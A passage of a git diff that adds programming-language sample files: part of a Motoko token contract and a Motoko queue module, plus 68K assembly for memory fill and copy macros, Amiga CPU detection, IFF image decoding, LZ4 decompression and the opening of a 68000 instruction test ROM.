+        _decimals;
+    };
+
+    private stable let _totalSupply : Nat = tkTotalSupply;
+    // Returns the total token supply.
+    public query func totalSupply() : async Nat {
+        _totalSupply;
+    };
+
+    private stable var _balances : [(Principal, Nat)] = [];
+    private var balances = HashMap.HashMap<
+        Principal, // Address owner.
+        Nat,       // Amount of tokens.
+    >(0, Principal.equal, Principal.hash);
+    balances.put(caller, tkTotalSupply);
+    public query func balanceOf(owner : Principal) : async Nat {
+        _balanceOf(owner);
+    };
+    // Returns the account balance of another account with address 'owner'.
+    private func _balanceOf(owner : Principal) : Nat {
+        switch (balances.get(owner)) {
+            case (null)      { 0;       };
+            case (? balance) { balance; };
+        };
+    };
+
+    // Transfers 'value' amount of tokens to address 'to'.
+    public shared({caller}) func transfer(
+        to : Principal,                  // Recipient of the tokens.
+        value : Nat,                     // Amount of tokens.
+        transferEvent: ?Events.Transfer, // Transfer event.
+    ) : async Bool {
+        let balance = _balanceOf(caller);
+        if (balance < value) { throw Errors.InsufficientBalance(balance, value); };
+        _transfer(caller, to, value); // Transfer value.
+        ignore Events.fireTransfer(   // Fire transfer event.
+            transferEvent, caller, to, value,
+        );
+        true;
+    };
+    // @pre: account balance > value
+    private func _transfer(from : Principal, to : Principal, value : Nat) {
+        if (value == 0) { return; };
+
+        let fromBalance          = _balanceOf(from);
+        let newFromBalance : Nat = fromBalance - value;
+        if (newFromBalance == 0) { balances.delete(from);              }
+        else                     { balances.put(from, newFromBalance); };
+        let toBalance          = _balanceOf(to);
+        let newToBalance : Nat = toBalance + value;
+        balances.put(to, newToBalance);
+    };
+
+    // Transfers 'value' amount of tokens from address 'from' to address 'to'.
+    // NOTE: the caller must be approved by the owner to tranfer tokens, even if the caller is the owner.
+    public shared({caller}) func transferFrom(
+        from: Principal,                 // Owner of the tokens.
+        to : Principal,                  // Recipient of the tokens.
+        value : Nat,                     // Amount of tokens.
+        transferEvent: ?Events.Transfer, // Transfer event.
+    ) : async Bool {
+        let allowed = _allowance(from, caller);
+        if (allowed < value) { throw Errors.InsufficientAllowance(allowed, value); };
+        let balance = _balanceOf(from);
+        if (balance < value) { throw Errors.InsufficientBalance(balance, value); };
+        let newAllowed : Nat = allowed - value;
+        _approve(from, caller, newAllowed);
+        _transfer(from, to, value);
+        true;
+    };
+
+    // Allows 'spender' to withdraw from your account multiple times, up to the 'value' amount. 
+    // If this function is called again it overwrites the current allowance with 'value'.
+    public shared({caller}) func approve(
+        spender: Principal,              // Spender of the tokens.
+        value: Nat,                      // Amount of tokens.
+        approvalEvent: ?Events.Approval, // Approval event.
+    ) : async Bool {
+        _approve(caller, spender, value);
+        ignore Events.fireApproval( // Fire approval event.
+            approvalEvent, caller, spender, value,
+        );
+        true;
+    };
+    private func _approve(owner : Principal, spender: Principal, value : Nat) {
+        switch (allowances.get(owner)) {
+            case (null) {
+                if (value == 0) { return; };
+
+                let allowance = HashMap.HashMap<Principal, Nat>(1, Principal.equal, Principal.hash);
+                allowance.put(spender, value);
+                allowances.put(owner, allowance);
+            };
+            case (? allowance) {
+                if (value == 0) {
+                    // Delete if value is 0.
+                    allowance.delete(spender);
+                    if (allowance.size() == 0) {
+                        allowances.delete(owner);
+                    };
+                } else {
+                    allowance.put(spender, value);
+                    allowances.put(owner, allowance);
+                };
+            };
+        };
+    };
+
+    private stable var _allowances : [(Principal, [(Principal, Nat)])] = [];
+    private var allowances = HashMap.HashMap<
+        Principal, // Address owner.
+        HashMap.HashMap<
+            Principal, // Address spender.
+            Nat,       // Amount of tokens.
+        >,
+    >(1, Principal.equal, Principal.hash);
+    // Returns the amount which 'spender' is still allowed to withdraw from 'owner'.
+    public query func allowance(owner: Principal, spender: Principal) : async Nat {
+        _allowance(owner, spender);
+    };
+    private func _allowance(owner: Principal, spender: Principal) : Nat {
+        switch(allowances.get(owner)) {
+            case (?allowance_owner) {
+                switch(allowance_owner.get(spender)) {
+                    case (?allowance) { return allowance; };
+                    case (null)       { return 0; };
+                }
+            };
+            case (null) { return 0; };
+        }
+    };
+
+    system func preupgrade() {
+        _balances := Iter.toArray(balances.entries());
+    };
+
+    system func postupgrade() {
+        balances := HashMap.fromIter<Principal,Nat>(
+            _balances.vals(),
+            0,
+            Principal.equal,
+            Principal.hash,
+        );
+        _balances := [];
+    };
+};
diff --git a/samples/Motoko/queue.mo b/samples/Motoko/queue.mo
new file mode 100644
index 0000000000..86cf569eb7
--- /dev/null
+++ b/samples/Motoko/queue.mo
@@ -0,0 +1,41 @@
+import List "mo:base/List";
+
+module {
+    // A simple FIFO queue.
+    public type Queue<V> = (
+        List.List<V>, // <-  in
+        List.List<V>, // out ->
+    );
+
+    // Pushes an element onto the given queue.
+    public func push<V>(v : V, (i, o) : Queue<V>) : Queue<V> = (?(v, i), o);
+
+    // Pops an element from the given queue.
+    public func pop<V>(q : Queue<V>) : (?V, Queue<V>) {
+        switch (peek(q)) {
+            case (null, _)     { (null, q);          };
+            case (? x, (i, o)) { (?x, (i, tail(o))); };
+        };
+    };
+
+    // Peeks at the top element from the given queue.
+    public func peek<V>(q : Queue<V>) : (?V, Queue<V>) {
+        switch (q) {
+            case ((null, null))  { (null, q);                      };
+            case ((xs, null))    { peek((null, List.reverse(xs))); };
+            case ((_, ?(x, xs))) { (?x, q);                        };
+        };
+    };
+
+    // Returns the size of the given queue.
+    public func size<V> ((i, o) : Queue<V>) : Nat {
+        List.size(i) + List.size(o);
+    };
+
+    private func tail<V>(l : List.List<V>) : List.List<V> {
+        switch (l) {
+            case (null)      { null; };
+            case (? (x, xs)) { xs;   };
+        };
+    };
+};
diff --git a/samples/Motorola 68K Assembly/bls_routines.inc b/samples/Motorola 68K Assembly/bls_routines.inc
new file mode 100644
index 0000000000..8861f84a08
--- /dev/null
+++ b/samples/Motorola 68K Assembly/bls_routines.inc	
@@ -0,0 +1,280 @@
+; Fill memory with the same word value
+BLSFASTFILL_WORD macro dest, words, value
+    if words == 0
+    elsif words == 1
+    move.w  dest, value
+    else
+    lea     dest, a1
+    if words <= 128
+    clr     d0
+    moveq   words - 1, d0
+    else
+    move.w  words - 1, d0
+    endif
+.fastfill\?
+    move.w  value, (a0)+
+    dbra    d0, .fastfill\?
+    endif
+    endm
+
+BLSFASTFILL macro dest, value, bytes
+        if bytes > 0
+        if bytes == 1
+         if value == 0
+                clr.b   dest
+         else
+                move.b  #value, dest
+         endif
+        elsif bytes == 2
+         if value == 0
+                clr.w   dest
+         else
+                move.w  #(value<<8) | value, dest
+         endif
+        elsif bytes == 4
+         if value == 0
+                clr.l   dest
+         else
+                move.l  #(value<<24)|(value<<16)|(value<<8)|value, dest
+         endif
+        else
+                lea     dest + bytes, a0
+         if bytes == 3 && value == 0
+                clr.w   -(a0)
+                clr.b   -(a0)
+         else
+
+          if value == 0
+                moveq   #0, d0
+          else
+                movei.l #(value<<24)|(value<<16)|(value<<8)|value, d0
+          endif
+
+          if bytes & 1
+                move.b  d0, -(a0)
+          endif
+
+          if bytes < 32
+                BLSREPEAT2 bytes / 4, move.l d0, -(a0)
+                BLSREPEAT2 (bytes / 2) * 2 - (bytes / 4) * 4, move.w d0, -(a0)
+          elsif bytes < 128
+                move.l  d0, a1
+                move.l  d0, d1
+                BLSREPEAT2 bytes / 12, movem.l d0-d1/a1, -(a0)
+           if (bytes % 12) >= 10
+                movem.l d0-d1, -(a0)
+                move.w  d0, -(a0)
+           elsif (bytes % 12) >= 8
+                movem.l d0-d1, -(a0)
+           elsif (bytes % 12) >= 6
+                move.l  d0, -(a0)
+                move.w  d0, -(a0)
+           elsif (bytes % 12) >= 4
+                move.l  d0, -(a0)
+           elsif (bytes % 12) >= 2
+                move.w  d0, -(a0)
+           endif
+          else
+           if bytes & 2
+                move.w  d0, -(a0)
+           endif
+
+                movem.l d2-d7, -(sp)
+                move.l  d0, a1
+                move.l  d0, d2
+                move.l  d0, d3
+                move.l  d0, d4
+                move.l  d0, d5
+                move.l  d0, d6
+                move.l  d0, d7
+           if bytes < 512
+                BLSREPEAT2 bytes / 32, movem.l d0/a1/d2-d7, -(a0)
+            if (bytes % 32) >= 28
+                movem.l d0/a1/d2-d6, -(a0)
+            elsif (bytes % 32) >= 24
+                movem.l d0/a1/d2-d5, -(a0)
+            elsif (bytes % 32) >= 20
+                movem.l d0/a1/d2-d4, -(a0)
+            elsif (bytes % 32) >= 16
+                movem.l d0/a1/d2-d3, -(a0)
+            elsif (bytes % 32) >= 12
+                movem.l d0/a1/d2, -(a0)
+            elsif (bytes % 32) >= 8
+                movem.l d0/a1, -(a0)
+            elsif (bytes % 32) >= 4
+                move.l  d0, -(a0)
+            endif
+           else
+            if bytes / 32 < 256
+                moveq   #(bytes / 32) - 1, d1
+            else
+                movei.w #(bytes / 32) - 1, d1
+            endif
+.blsfill_loop\?
+                movem.l d0/a1/d2-d7, -(a0)
+                dbra    d1, .blsfill_loop\?
+            if (bytes % 32) >= 28
+                movem.l d0/a1/d2-d6, -(a0)
+            elsif (bytes % 32) >= 24
+                movem.l d0/a1/d2-d5, -(a0)
+            elsif (bytes % 32) >= 20
+                movem.l d0/a1/d2-d4, -(a0)
+            elsif (bytes % 32) >= 16
+                movem.l d0/a1/d2-d3, -(a0)
+            elsif (bytes % 32) >= 12
+                movem.l d0/a1/d2, -(a0)
+            elsif (bytes % 32) >= 8
+                movem.l d0/a1, -(a0)
+            elsif (bytes % 32) >= 4
+                move.l  d0, -(a0)
+            endif
+           endif
+                movem.l (sp)+, d2-d7
+          endif
+        
+
+         endif
+        endif
+        endif
+        endm
+
+
+; Copy memory from word-aligned addresses.
+; dest and src can be anything supported by LEA.
+; Addresses must be aligned to a word boundary.
+; bytes is the number of bytes to copy. It must be <= 2097152.
+; returns address past dest in a1 and past src in a0
+BLSFASTCOPY_ALIGNED macro dest, src, bytes
+    if bytes == 0
+    else
+
+    lea     src, a0                     ; a0 = src : Load source and dest address
+    lea     dest, a1                    ; a1 = dst
+
+    if bytes >= $60
+
+    movem.l d2-d7/a2, -(a7)
+    ; Compute d0 = block count, a0 = src address, a1 = dest address
+    if bytes < ($100*$20)               ; Try to load value into d0 using moveq
+    moveq   #(bytes/$20)-1, d0          ; Compute number of $20 bytes blocks
+    else
+    move.w  #(bytes/$20)-1, d0          ; Use slower move immediate
+    endif
+
+    ; Do block copy
+.blockcopy_loop\?
+    movem.l (a0)+, d1-d7/a2
+    movem.l d1-d7/a2, (a1)
+    lea     $20(a1), a1
+    dbra    d0, .blockcopy_loop\?
+
+    movem.l (a7)+, d2-d7/a2
+
+    ; Copy long data remainder with move.l expansion
+    BLSREPEAT2 (bytes & $1F) / 4, move.l (a0)+, (a1)+
+
+    else
+    ; Expanded move.l copy
+    BLSREPEAT2 bytes / 4, move.l (a0)+, (a1)+
+    endif
+
+    BLSREPEAT2 (bytes & 3) / 2, move.w (a0)+, (a1)+
+    BLSREPEAT2 (bytes & 1), move.b (a0)+, (a1)+
+
+    endif
+    endm
+
+BLS_SETINTVECTOR macro vect, target
+    if SCD != 0
+    movem.l d0/a0, -(a7)
+    ; Put target in d0 and vector in a0
+    move.l  #target, d0
+    lea     vect, a0
+    cmp.l   d0, (a0)        ; Check if vector in ROM already jumps to the correct address
+    beq.b   .vector_set\?
+    move.l  (a0), a0        ; Point a0 to the target of the interrupt handler
+    move.w  #$4EF9, (a0)+   ; Write JMP instruction
+    move.l  d0, (a0)+       ; JMP to the target
+.vector_set\?
+    movem.l (a7)+, d0/a0
+    endif
+    endm
+
+
+BLS_ENABLE_INTERRUPTS macro
+                andi    #$F8FF, SR
+                endm
+
+BLS_DISABLE_INTERRUPTS macro
+                ori     #$0700, SR
+                endm
+
+ENTER_MONITOR   macro
+                trap    #07
+                endm
+
+; Delay for a number of CPU cycles
+DELAY_CYCLES macro   cycles
+    if cycles < 68
+        BLSREPEAT cycles / 4, nop
+    else
+        move    sr, -(sp)       ; 18
+        move.w  d0, -(sp)       ; 18
+    if cycles >= 72 && cycles < 2632
+        moveq   #(cycles - 72) / 10, d0 ; 4
+    elsif cycles < 655432
+        move.w  #(cycles - 76) / 10, d0 ; 8
+    elsif cycles < 2752588
+        move.w  #(cycles - 76) / 42, d0
+    else
+        assert cycles < 2752588 ; Longer loops unimplemented
+    endif
+    if cycles < 88
+        BLSREPEAT (cycles - 72) / 4, nop ; Delay too short to make a loop
+    else
+.delayloop\?
+     if cycles >= 655432
+        BLSREPEAT 8, nop        ; Slow down loop for very long waits
+     endif
+        dbra    d0, .delayloop\?
+    endif
+        move.w  (sp)+, d0       ; 16
+        move    (sp)+, ccr      ; 16
+    endif
+        endm
+
+; Delay for millis milliseconds
+DELAY_MILLIS macro millis
+    if millis < 200
+     if BUS == BUS_MAIN
+        DELAY_CYCLES 7620 * millis
+     else
+        DELAY_CYCLES 12500 * millis
+     endif
+    else
+        move    sr, -(sp)       ; 18
+        move.w  d0, -(sp)       ; 18
+        move.w  #(millis - 1), d0 ; 8
+    ; First loop is shorter to counter setup time
+     if BUS == BUS_MAIN
+        DELAY_CYCLES 7620 - 76
+     else
+        DELAY_CYCLES 12500 - 76
+     endif
+     if millis > 1
+.delaymillisloop\?
+      if BUS == BUS_MAIN
+        DELAY_CYCLES 7620 - 10
+      else
+        DELAY_CYCLES 12500 - 10
+      endif
+        dbra d0, .delaymillisloop\?
+        move.w  (sp)+, d0       ; 16
+        move    (sp)+, ccr      ; 16
+     endif
+    endif
+        endm
+
+        endif
+
+; vim: ts=8 sw=8 sts=8 et
diff --git a/samples/Motorola 68K Assembly/cpu.s b/samples/Motorola 68K Assembly/cpu.s
new file mode 100644
index 0000000000..0a718c4939
--- /dev/null
+++ b/samples/Motorola 68K Assembly/cpu.s	
@@ -0,0 +1,70 @@
+;;; Created by Miguel Mendez.
+;;; This file is public domain.
+    
+    machine 68060
+
+	section text
+	public _getCPU
+	public _getVBR
+	public _getMEM
+
+LVOSuperVisor EQU -30
+LVOAvailMem EQU -216
+AttnFlags EQU 296
+	
+_getCPU:
+	movem.l d1/a6, -(sp)
+	move.l  4.w, a6          ; exec base.
+        move.w  AttnFlags(a6), d1     ; AttnFlags
+        
+        btst    #0, d1
+        bne.s   _010            ; 68010
+        moveq   #0, d0
+        bra.b   _cpuDone
+
+_010    btst    #1, d1
+        bne.s   _020            ; 68020
+        moveq   #1,d0
+        bra.b   _cpuDone
+
+_020    btst    #2, d1
+        bne.s   _030            ; 68030
+        moveq   #2, d0
+        bra.b   _cpuDone
+_030    btst    #3, d1
+        bne.s   _040            ; 68040
+        moveq   #3, d0
+        bra.b   _cpuDone
+_040    btst    #7, d1
+        bne.s   _060            ; 68060
+        moveq   #4, d0
+        bra.b   _cpuDone
+_060	btst    #10, d1         ; Apollo 68080
+	bne.s   _080
+	moveq   #6, d0
+	bra.b   _cpuDone
+_080	moveq   #8, d0
+_cpuDone:
+	movem.l (sp)+, d1/a6
+	rts
+	
+_getVBR:
+	movem.l a5-a6, -(sp)
+	move.l $4.w, a6
+	lea.l movecTrap, a5
+	jsr LVOSuperVisor(a6)
+	movem.l (sp)+, a5-a6
+	rts
+
+movecTrap:
+	movec.l VBR, d0
+	rte
+	
+
+_getMEM:
+	movem.l a6, -(sp)
+	move.l  4.w,a6
+	moveq #0, d0
+        jsr     LVOAvailMem(a6)
+	movem.l (sp)+, a6
+	rts
diff --git a/samples/Motorola 68K Assembly/iff_ilbm.i b/samples/Motorola 68K Assembly/iff_ilbm.i
new file mode 100644
index 0000000000..a6057fec84
--- /dev/null
+++ b/samples/Motorola 68K Assembly/iff_ilbm.i	
@@ -0,0 +1,130 @@
+; See http://wiki.amigaos.net/wiki/ILBM_IFF_Interleaved_Bitmap
+
+; ******** IFF_GetSize ********
+; Retrieves Width, Height and the number of bitplans of a IFF Picture
+; INPUT:	a0 = IFF buffer
+; OUTPUT:	d0 = width or 0 if error
+;			d1 = height, or 0 if error
+;			d2 = bitplans, or 0 if error
+IFF_GetSize:
+	movem.l d3-d7/a0-a6,-(a7)
+	bsr iff_getBMHDInfo
+	movem.l (a7)+,d3-d7/a0-a6
+	rts
+
+
+; ******** IFF_GetPicture ********
+; Uncompress a IFF ILBM picture to a pre-allocated buffer
+; INPUT:	a0 = IFF ILBM source
+;			a1 = destination buffer
+; OUTPUT:	d0 = error code (0 = success, 1 = invalid format)
+IFF_GetPicture:
+	movem.l d1-d7/a0-a6,-(a7)
+	bsr iff_uncompress
+	movem.l (a7)+,d1-d7/a0-a6
+	rts
+	
+; ******** IFF_GetPalette ********
+; Finds the Palette in R,G,B format in the IFF buffer
+; INPUT:	a0 = IFF ILBM source
+; OUTPUT:	d0 = Palette pointer, or 0 if not found
+IFF_GetPalette:
+	movem.l d1-d7/a0-a6,-(a7)
+	bsr iff_get_palette
+	movem.l (a7)+,d1-d7/a0-a6
+	rts
+
+; *************************************************************************************************
+iff_get_palette:
+	moveq #0, d0
+	cmp.l #"FORM",(a0)+
+	bne .palette_end
+	move.l (a0)+,d7		; remaining size
+	add.l a0,d7			; d0 = end of file
+	cmp.l #"ILBM",(a0)+
+	bne .palette_end
+.palette_next_chunk:
+	cmp.l #"CMAP",(a0)+
+	beq .palette_chunk
+	add.l (a0)+,a0	; skip this chunk (BODY, CMAP...)
+	cmp.l d7, a0
+	blo .palette_next_chunk
+	bra .palette_end	; no BMHD chunk!
+.palette_chunk:
+	addq #4, a0	; chunck size
+	move.l a0, d0
+.palette_end
+	rts
+
+; *************************************************************************************************
+iff_getBMHDInfo:
+	moveq #0, d0
+	moveq #0, d1
+	moveq #0, d2
+	cmp.l #"FORM",(a0)+
+	bne .bmhd_end
+	move.l (a0)+,d7		; remaining size
+	add.l a0,d7			; d0 = end of file
+	cmp.l #"ILBM",(a0)+
+	bne .bmhd_end
+.bmhd_next_chunk:
+	cmp.l #"BMHD",(a0)+
+	beq .bmhd_chunk
+	add.l (a0)+,a0	; skip this chunk (BODY, CMAP...)
+	cmp.l d7, a0
+	blo .bmhd_next_chunk
+	bra .bmhd_end	; no BMHD chunk!
+.bmhd_chunk:
+	addq #4, a0	; chunck size
+	move.w (a0),d0
+	move.w 2(a0),d1
+	move.b 8(a0),d2
+.bmhd_end
+	rts
+	
+; *************************************************************************************************
+iff_uncompress:
+	cmp.l #"FORM",(a0)+
+	bne .iff_failure
+	move.l (a0)+,d0		; remaining size
+	add.l a0,d0		; d0 = end of file
+	cmp.l #"ILBM",(a0)+
+	bne .iff_failure
+.iff_next_chunk:
+	cmp.l #"BODY",(a0)+
+	beq .iff_body
+	add.l (a0)+,a0	; skip this chunk (BMHD, CMAP...)
+	cmp.l d0, a0
+	blo .iff_next_chunk
+	bra .iff_failure	; no body chunk!
+.iff_body:
+	move.l (a0)+,d0	; size of body chunk
+	add.l a0,d0	; end of body chunk
+.iff_next_byte:
+	moveq.l #0,d1
+	move.b (a0)+,d1	; read next compressed byte
+	cmp.b #128,d1
+	bhs .iff_repeat
+.iff_copy:
+	move.b (a0)+,(a1)+
+	dbf d1, .iff_copy
+	cmp.l d0,a0
+	blo .iff_next_byte
+	bra .iff_success
+.iff_repeat:
+	neg.b d1
+	move.b (a0)+,d2
+.iff_repeat_loop:
+	move.b d2,(a1)+
+	dbf d1, .iff_repeat_loop
+	cmp.l d0,a0
+	blo .iff_next_byte
+.iff_success:
+	moveq.l #0, d0
+	bra .iff_exit	
+.iff_failure:
+	moveq.l #1, d0
+.iff_exit:
+	rts
+; ******** end iff_uncompress ********
+
diff --git a/samples/Motorola 68K Assembly/lz4.X68 b/samples/Motorola 68K Assembly/lz4.X68
new file mode 100644
index 0000000000..4331f910fa
--- /dev/null
+++ b/samples/Motorola 68K Assembly/lz4.X68	
@@ -0,0 +1,55 @@
+; Based on https://github.com/tattlemuss/lz4-m68k by Steven Tattersall under the MIT license
+; depack lz4 buffer
+; Based on the description at http://lz4.github.io/lz4/lz4_Block_format.html
+; input a0 - start of compressed data
+; input a1 - end of compressed data
+; input a2 - start of output buffer
+lz4_depack:
+	moveq	#15,d4			; d4 = "15"
+	moveq.l	#0,d0			; d0 = initial token fetch, high bits used to generate lengths
+	moveq.l	#0,d2
+	moveq.l	#0,d3			; Ensure clear high word (found by @zerkman)
+.lz4_depack_loop:
+	move.b	(a0)+,d0		; d0 = token, 0 in high bits
+	move.l	d0,d1
+	lsr.b	#4,d1			; d1 = length of literals
+	beq.s	.no_literals
+	bsr.s	.fetch_length
+.literal_copy_loop:
+	move.b	(a0)+,(a2)+
+	subq.l	#1,d1
+	bne.s	.literal_copy_loop
+
+.no_literals:
+	cmp.l	a1,a0			; Spec states that the last 5 bytes must be literals, so we do the check here.
+	beq.s	.all_done
+
+	move.b	(a0)+,d2		; d2 = offset low byte
+	move.b	(a0)+,d3		; d3 = offset high byte
+	lsl.w	#8,d3
+	or.w	d2,d3			; d3 = offset 16 bits
+	move.l	a2,a3
+	sub.l	d3,a3			; a3 = bytes to copy
+
+	move.l	d0,d1			; Now do match copy
+	and.w	d4,d1			; d1 = length of token match
+	bsr	.fetch_length
+	addq.l	#4,d1			; Match length is +4
+.match_copy_loop:
+	move.b	(a3)+,(a2)+
+	subq.l	#1,d1			; Note we can't use dbf since the match length could be > $ffff in theory?
+	bne.s	.match_copy_loop
+	bra.s	.lz4_depack_loop	; We go again.
+
+.fetch_length:					; Fetch extra length bytes, reused for literals or match
+	cmp.b	d4,d1			; If it's not 15, stop
+	bne.s	.length_done
+.more_literal_length:
+	move.b	(a0)+,d2		; d2 = literal add value (255 == keep going) with 0 in high bits
+	add.l	d2,d1			; d1 = updated literal length
+	cmp.b	#255,d2
+	beq.s	.more_literal_length
+.length_done:
+.all_done:
+	rts
+lz4_depack_size		equ	*-lz4_depack
diff --git a/samples/Motorola 68K Assembly/rom_testbench.asm b/samples/Motorola 68K Assembly/rom_testbench.asm
new file mode 100644
index 0000000000..822fdc5522
--- /dev/null
+++ b/samples/Motorola 68K Assembly/rom_testbench.asm	
@@ -0,0 +1,2983 @@
+; Copyright 2011-2018 Frederic Requin
+;
+; Non regression tests for 68000 (1500+ cases)
+
+    org     0
+vectors:
+    dc.l    $00006000                      ;  0 : Initial SSP
+    dc.l    start                          ;  1 : Initial PC
+    dc.l    0                              ;  2
+    dc.l    trap_addr                      ;  3 : Address error
+    dc.l    trap_ill                       ;  4 : Illegal instruction
+    dc.l    0                              ;  5
+    dc.l    trap_chk                       ;  6 : CHK instruction
+    dc.l    trap_v                         ;  7 : TRAPV instruction
+    blk.l   24,0                           ;  8 - 31
+    dc.l    trap_0                         ; 32
+    dc.l    trap_1                         ; 33
+    dc.l    trap_2                         ; 34
+    dc.l    trap_3                         ; 35
+    dc.l    trap_4                         ; 36
+    dc.l    trap_5                         ; 37
+    dc.l    trap_6                         ; 38
+    dc.l    trap_7                         ; 39
+    dc.l    trap_8                         ; 40
+    dc.l    trap_9                         ; 41
+    dc.l    trap_A                         ; 42
+    dc.l    trap_B                         ; 43
+    dc.l    trap_C                         ; 44
+    dc.l    trap_D                         ; 45
+    dc.l    trap_E                         ; 46
+    dc.l    trap_F                         ; 47
+trap_addr:
+    move.w  (SP),D0
+    move.l  2(SP),A0
+    move.w  6(SP),D1
+    move.l  10(SP),D2
+    bclr    #0,D2
+    move.l  D2,10(SP)
+    addq.l  #8,SP
+    rte
+trap_ill:
+    addq.l  #2,2(SP)
+    rte
+trap_chk:
+    rte
+trap_v:
+    rte
+trap_0:
+    rte
+trap_1:
+    rte
+trap_2:
+    rte
+trap_3:
+    rte
+trap_4:
+    rte
+trap_5:
+    rte
+trap_6:
+    rte
+trap_7:
+    rte
+trap_8:
+    rte
+trap_9:
+    rte
+trap_A:
+    rte
+trap_B:
+    rte
+trap_C:
+    rte
+trap_D:
+    rte
+trap_E:
+    rte
+trap_F:
+    rte
+start:
+    ; Exceptions tests
+    illegal
+    trap    #0
+    trap    #15
+    
+    move    #%00010,CCR
+    trapv
+    
+    bsr.w   movep_test
+
+    pea     return(pc)
+    jmp     bcd_test
+return:
+    jsr     sub_b_test
+    jsr     sub_w_test
+    jsr     sub_l_test
+
+    bsr.w   add_b_test
+    bsr.w   add_w_test
+    bsr.w   add_l_test
+
+    bsr     neg_test
+
+    moveq   #0,D0
+    tas     D0
+    moveq   #5,D0
+    moveq   #3,D1
+    chk.w   D1,D0
+    moveq   #-1,D0
+    chk.w   D1,D0
+
+    jsr     movem_test
+
+    lea     $12345678,A5
+    link    A5,#-12
+    unlk    A5
+
+    move.l  A7,USP
+    move.l  USP,A0
+    
+    exg     A0,A5
+    exg     A5,D0
+    exg     D0,D1
+    
+    move.w  #$0080,D0
+    ext.w   D0
+    move.w  #$FF00,D0
+    ext.w   D0
+    move.l  #$00008000,D0
+    ext.l   D0
+    move.w  #$0000,D0
+    ext.l   D0
+    
+    jsr     cmpa_w_test
+    jsr     cmpa_l_test
+    
+    jsr     cmp_b_test
+    jsr     cmp_w_test
+    jsr     cmp_l_test
+
+    jsr     cmpi_b_test
+    jsr     cmpi_w_test
+    jsr     cmpi_l_test
+
+    jsr     scc_test
+    jsr     bcc_test
+    jsr     dbcc_test
+    
+    jsr     div_test
+    jsr     mult_test
+
+    jsr     biti_test
+    jsr     bitr_test
+
+    jsr     clr_tst_test
+    jsr     not_test
+    jsr     neg_test
+
+    jsr     addq_test
+    jsr     subq_test
+
+    jsr     adda_w_test
+    jsr     adda_l_test
+
+    jsr     suba_w_test
+    jsr     suba_l_test
+
+    jsr     move_l_test_0
+    jsr     move_l_test_1
+    jsr     move_l_test_2
+    jsr     move_l_test_3
+    jsr     move_l_test_4
+    jsr     move_l_test_5
+    jsr     move_l_test_6
+    jsr     move_l_test_7
+    jsr     move_l_test_8
+    
+    jsr     move_w_test_0
+    jsr     move_w_test_1
+    jsr     move_w_test_2
+    jsr     move_w_test_3
+    jsr     move_w_test_4
+    jsr     move_w_test_5
+    jsr     move_w_test_6
+    jsr     move_w_test_7
+    jsr     move_w_test_8
+    
+    jsr     move_b_test_0
+    jsr     move_b_test_2
+    jsr     move_b_test_3
+    jsr     move_b_test_4
+    jsr     move_b_test_5
+    jsr     move_b_test_6
+    jsr     move_b_test_7
+    jsr     move_b_test_8
+    
+    jsr     shifti_test
+    jsr     shiftr_test
+    jsr     shiftm_test
+    
+    jsr     addi_b_test
+    jsr     addi_w_test
+    jsr     addi_l_test
+    
+    jsr     subi_b_test
+    jsr     subi_w_test
+    jsr     subi_l_test
+    
+    bsr.w   log_b_test
+    bsr.w   log_w_test
+    bsr.w   log_l_test
+    
+    bsr.w   logi_b_test
+    bsr.w   logi_w_test
+    bsr.w   logi_l_test
+    
+    bra.w   start
+    
+    ; MOVEP tests
+    ;------------
+movep_test:
+    lea     $8000.l,A0
+    move.l  #$01234567,(A0)
+    move.l  #$89ABCDEF,4(A0)
+    moveq   #0,D0
+    movep.w 0(A0),D0
+    movep.w 1(A0),D0
+    movep.l 0(A0),D0
+    movep.l 1(A0),D0
+    move.l  #$00001122,D0
+    move.l  #$00003344,D1
+    movep.w D0,0(A0)
+    movep.w D1,1(A0)
+    move.l  (A0),D0
+    move.l  #$11223344,D0
+    move.l  #$55667788,D1
+    movep.l D0,0(A0)
+    movep.l D1,1(A0)
+    move.l  (A0)+,D0
+    move.l  (A0),D1
+    rts
+    
+    ; ABCD, SBCD, NBCD tests
+    ;-----------------------
+bcd_test:
+    lea     $8000.l,A0
+    move    #%10000,CCR
+    move.b  #$99,D0
+    move.b  #$01,D1
+    abcd    D0,D1
+    move.l  #$01990099,(A0)+
+    move.l  A0,A1
+    move.l  #$09010101,(A1)+
+    abcd    -(A0),-(A1)
+    abcd    -(A0),-(A1)
+    abcd    -(A0),-(A1)
+    abcd    -(A0),-(A1)
+    move.l  (A0),D0
+    move.l  (A1),D1
+    
+    addq.l  #4,A0
+    addq.l  #4,A1
+    move.b  #$99,D0
+    move.b  #$00,D1
+    move    #%10000,CCR
+    sbcd    D0,D1
+    sbcd    -(A0),-(A1)
+    sbcd    -(A0),-(A1)
+    sbcd    -(A0),-(A1)
+    sbcd    -(A0),-(A1)
+    move.l  (A0),D0
+    move.l  (A1),D1
+
+    moveq   #1,D1
+    nbcd    D0
+    nbcd    (A0)
+    move.b  (A0),D0
+    nbcd    (A0)+
+    move.b  -1(A0),D0
+    nbcd    1(A0)
+    move.b  1(A0),D0
+    nbcd    -(A0)
+    move.b  (A0),D0
+    nbcd    0(A0,D1.w)
+    move.b  0(A0,d1.w),D0
+    nbcd    $8000
+    move.b  $8000,D0
+    rts
+
+    ; BTST, BCHG, BCLR, BSET tests
+    ;-----------------------------
+biti_test:
+    lea     $8000.l,A0
+    move.l  #$55555555,D0
+    move.l  D0,(A0)
+    move.l  D0,-$1000(A0)
+    moveq   #1,D1
+    
+    btst    #0,D0
+    btst    #7,D0
+    btst    #8,D0
+    btst    #15,D0
+    btst    #16,D0
+    btst    #23,D0
+    btst    #24,D0
+    btst    #31,D0
+    btst    #0,(A0)
+    btst    #7,(A0)+
+    btst    #0,-1(A0)
+    btst    #7,-(A0)
+    btst    #0,1(A0,D1.w)
+    btst    #7,$7000.w
+    btst    #0,$8000.l
+    
+    bchg    #0,D0
+    bchg    #7,D0
+    bchg    #8,D0
+    bchg    #15,D0
+    bchg    #16,D0
+    bchg    #23,D0
+    bchg    #24,D0
+    bchg    #31,D0
+    bchg    #0,(A0)
+    bchg    #7,(A0)+
+    bchg    #0,-1(A0)
+    bchg    #7,-(A0)
+    bchg    #0,1(A0,D1.w)
+    bchg    #7,$7000.w
+    bchg    #0,$8000.l
+    
+    bclr    #0,D0
+    bclr    #7,D0
+    bclr    #8,D0
+    bclr    #15,D0
+    bclr    #16,D0
+    bclr    #23,D0
+    bclr    #24,D0
+    bclr    #31,D0
+    bclr    #0,(A0)
+    bclr    #7,(A0)+
+    bclr    #0,-1(A0)
+    bclr    #7,-(A0)
